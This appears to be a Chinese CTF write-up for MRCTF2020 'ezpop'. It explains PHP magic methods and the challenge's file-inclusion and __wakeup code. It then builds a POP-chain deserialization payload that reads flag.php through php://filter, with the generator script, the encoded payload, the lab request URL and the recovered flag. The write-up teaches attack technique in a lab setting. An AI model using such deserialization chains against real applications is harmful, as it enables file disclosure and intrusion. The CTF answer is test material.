【POP链与反序列化】MRCTF2020 ezpop

本文最后更新于:2021年8月18日下午1点45分

前景知识:

1
2
3
4
5
6
7
8
9
__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数

WriteUp:

源码:

打开题目,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

Modifier类

1
2
3
4
5
6
7
8
9
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

可以看到,Modifier类中有一个明显的文件包含漏洞include($value);,并且有一个魔术方法__invoke()

__invoke() //调用函数的方式调用一个对象时的回应方法

Show类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

在Show类中,有一个__toString()的魔术方法

__toString() //当一个对象被当作一个字符串使用

Test类

1
2
3
4
5
6
7
8
9
10
11
class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

在Test类中,有一个__get()的魔术方法

__get() //获得一个类的成员变量时调用

  1. Modifier中有文件包含

    1
    2
    3
    public function append($value){
    include($value);
    }
  2. 需要用invoke 触发append这个函数

    1
    2
    3
    public function __invoke(){
    $this->append($this->var);
    }
  3. 当类名被当做函数执行时会触发invoke

    1
    2
    3
    4
    public function __get($key){
    $function = $this->p;
    return $function();
    }
  4. 当一个类的成员变量被调用的时候执行__get()

    1
    2
    3
    public function __toString(){
    return $this->str->source;
    }
  5. 当一个对象被当作一个字符串使用时触发__toString()

    1
    2
    3
    4
    public function __construct($file='index.php'){
    $this->source = $file;
    echo 'Welcome to '.$this->source."<br>";
    }
  6. __wakeup()中可以操控source成员变量

    1
    2
    3
    4
    5
    6
    public function __wakeup(){
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
    echo "hacker";
    $this->source = "index.php";
    }
    }
  7. 在反序列化的时候可以调用__wakeup()

    1
    2
    3
    if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
    }

构造的序列化对象如下图所示

image-20210713164559893

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show {
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show();
$aa = new Show();
$aa->str = "12345";
$aa->source = $a;
var_dump(urlencode(serialize($aa)));
?>

输出:

1
string(376) "O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3Bs%3A5%3A%2212345%22%3B%7D"

pop传以下内容

1
http://32e31f80-005f-4497-bd78-aeea998eca2b.node4.buuoj.cn/?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3Bs%3A5%3A%2212345%22%3B%7D

得到:

image-20210713163019009

1
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezM5NTUwYTU3LTZiOGEtNGQ0ZC1iY2ZmLTk1ZTBlZmFjYmM2Nn0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

base64解码之后

1
2
3
4
5
6
<?php
class Flag{
private $flag= "flag{39550a57-6b8a-4d4d-bcff-95e0efacbc66}";
}
echo "Help Me Find FLAG!";
?>

flag为:flag{39550a57-6b8a-4d4d-bcff-95e0efacbc66}

感谢云天的讲解!!!!!